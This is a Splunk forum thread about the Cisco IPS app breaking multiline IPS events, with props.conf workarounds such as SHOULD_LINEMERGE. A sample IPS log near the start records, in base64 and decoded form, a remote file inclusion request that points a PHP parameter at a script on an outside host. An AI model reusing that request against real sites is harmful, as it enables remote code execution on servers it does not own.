Splunk for Cisco IPS - events being broken up into multiple events

[joshd]

Hello, I noticed with the latest version of the app "Splunk for Cisco IPS" that events from my IPS are being broken up into multiple events, thus not properly being processed. Here is an example of an event from the logs that is split up into multiple events:

1301341484727328000 eventid="1277730814573973950"  fromAttacker="R0VUIC9jb250YWN0LnBocC8vLy8/X1NFUlZFUltET0NVTUVOVF9ST09UXT1o
dHRwOi8vc21hc2gyLmZpbGVhdmUuY29tL3pmeGlkMS50eHQ/Pz8gSFRUUC8x
LjENCkNvbm5lY3Rpb246IGNsb3NlDQpIb3N0OiB3d3cuaW50ZXJhYy5jYQ0K
VXNlci1BZ2VudDogTW96aWxsYS81LjANCg0K" fromAttacker_details="GET /contact.php////?_SERVER[DOCUMENT_ROOT]=3Dhttp://smash2.fileave.com/zfx=
id1.txt??? HTTP/1.1
Connection: close
Host: www
User-Agent: Mozilla/5.0

"

You can see how the fromAttacker is split into multiple events because of the line break. Is this a know issue, any quick way of fixing it?

Thanks, Josh

[joshd]

Since the comments are limited in the number of characters I can type... here is an example of the chaining I mentioned in my comment above:

1301413026601539000 eventid="1277730576015291020" hostId="bunker-s1" sig_created="20020310" sig_type="vulnerability" severity="low" app_name="sensorApp" appInstanceId="470" signature="5237" subSigid="0" description="CONNECT.*HTTP/" sig_version="S224" mars_category="Penetrate/Backdoor/CovertChannel" attacker="10.1.1.8" attacker_port="0" attacker_locality="OUT"  target="10.1.0.2" target_port="8080" target_locality="OUT"  protocol="tcp" attack_relevance_rating="relevant"  risk_rating="47" threat_rating="47" target_value_rating="medium" interface="GigabitEthernet0/1" interface_group="vs0" vlan="0" protocol="tcp"
1301413026601539000 eventid="1277730576015291020"  fromAttacker="Q09OTkVDVCB4bWxycGMucmhuLnJlZGhhdC5jb206NDQzIEhUVFAvMS4xDQpI
b3N0OiB4bWxycGMucmhuLnJlZGhhdC5jb206NDQzDQpBY2NlcHQtRW5jb2Rp
bmc6IGlkZW50aXR5DQpVc2VyLUFnZW50OiByaG4ucnBjbGliLnB5LyRSZXZp
c2lvbjogMTM2NTg5ICQNCg0K" fromAttacker_details="CONNECT xmlrpc.rhn.redhat.com:443 HTTP/1.1
Host: xmlrpc.rhn.redhat.com:443
Accept-Encoding: identity
User-Agent: rhn.rpclib.py/$Revision: 136589 $
"
1301413027122338000 eventid="1277730576015291022" hostId="bunker-s1" sig_created="20020310" sig_type="vulnerability" severity="low" app_name="sensorApp" appInstanceId="470" signature="5237" subSigid="0" description="CONNECT.*HTTP/" sig_version="S224" mars_category="Penetrate/Backdoor/CovertChannel" attacker="10.1.1.8" attacker_port="0" attacker_locality="OUT"  target="10.1.0.2" target_port="8080" target_locality="OUT"  protocol="tcp" attack_relevance_rating="relevant"  risk_rating="47" threat_rating="47" target_value_rating="medium" interface="GigabitEthernet0/1" interface_group="vs0" vlan="0" protocol="tcp"
1301413027122338000 eventid="1277730576015291022"  fromAttacker="Q09OTkVDVCB4bWxycGMucmhuLnJlZGhhdC5jb206NDQzIEhUVFAvMS4xDQpI
b3N0OiB4bWxycGMucmhuLnJlZGhhdC5jb206NDQzDQpVc2VyLUFnZW50OiBy
aG4ucnBjbGliLnB5LyRSZXZpc2lvbjogMTM2NTg5ICQNCg0K" fromAttacker_details="CONNECT xmlrpc.rhn.redhat.com:443 HTTP/1.1
Host: xmlrpc.rhn.redhat.com:443
User-Agent: rhn.rpclib.py/$Revision: 136589 $
"

... I guess I could add a BREAK_ONLY_BEFORE statement to the props, would this be the best way to go though?

[tonyfussell]

I was having the same problem. (My Index is a windows machine if that makes any difference.)

I added this to my $SPLUNK_HOME/etc/apps/Splunk_CiscoIPS/local/props.conf
under the [cisco:ips:syslog] stanza

SHOULD_LINEMERGE = true
BREAK_ONLY_BEFORE_DATE = true

[dleung]

Hi Josh, this seems related to a known issue that was showing the opposite behavior - multiple events concatenating into one. While it's looked-into, a quick workaround is combine several lines of data into a single multiline event by adding file:

$SPLUNK_HOME/etc/apps/Splunk_CiscoIPS/local/props.conf

Put the following lines into it:

[cisco_ips_syslog]
SHOULD_LINEMERGE = true

One question regarding your IPS data. Is the data fetched by the app's scripted input ..Splunk_CiscoIPS/bin/get_ips_feed.py or is the IPS data being sent directly via syslog into Splunk? The fields and line formatting look slightly different from how it it should be if it were coming in from the scripted input - the recommended input method. You can check out the app setup instructions here:

http://answers.splunk.com/questions/3364/how-do-i-install-the-cisco-ips-add-on

[joshd]

Ok so the SHOULD_LINEMERGE did merge the events as expected, however it seems that when it polls the IPS to pull events if there are multiple events all at the same time, it chains all of them together...

[joshd]

It is coming in via the scripted input and not from syslog. Let me know if you would like more examples or any further information. I've added the should_linemerge now and we'll see how everything goes. Thanks.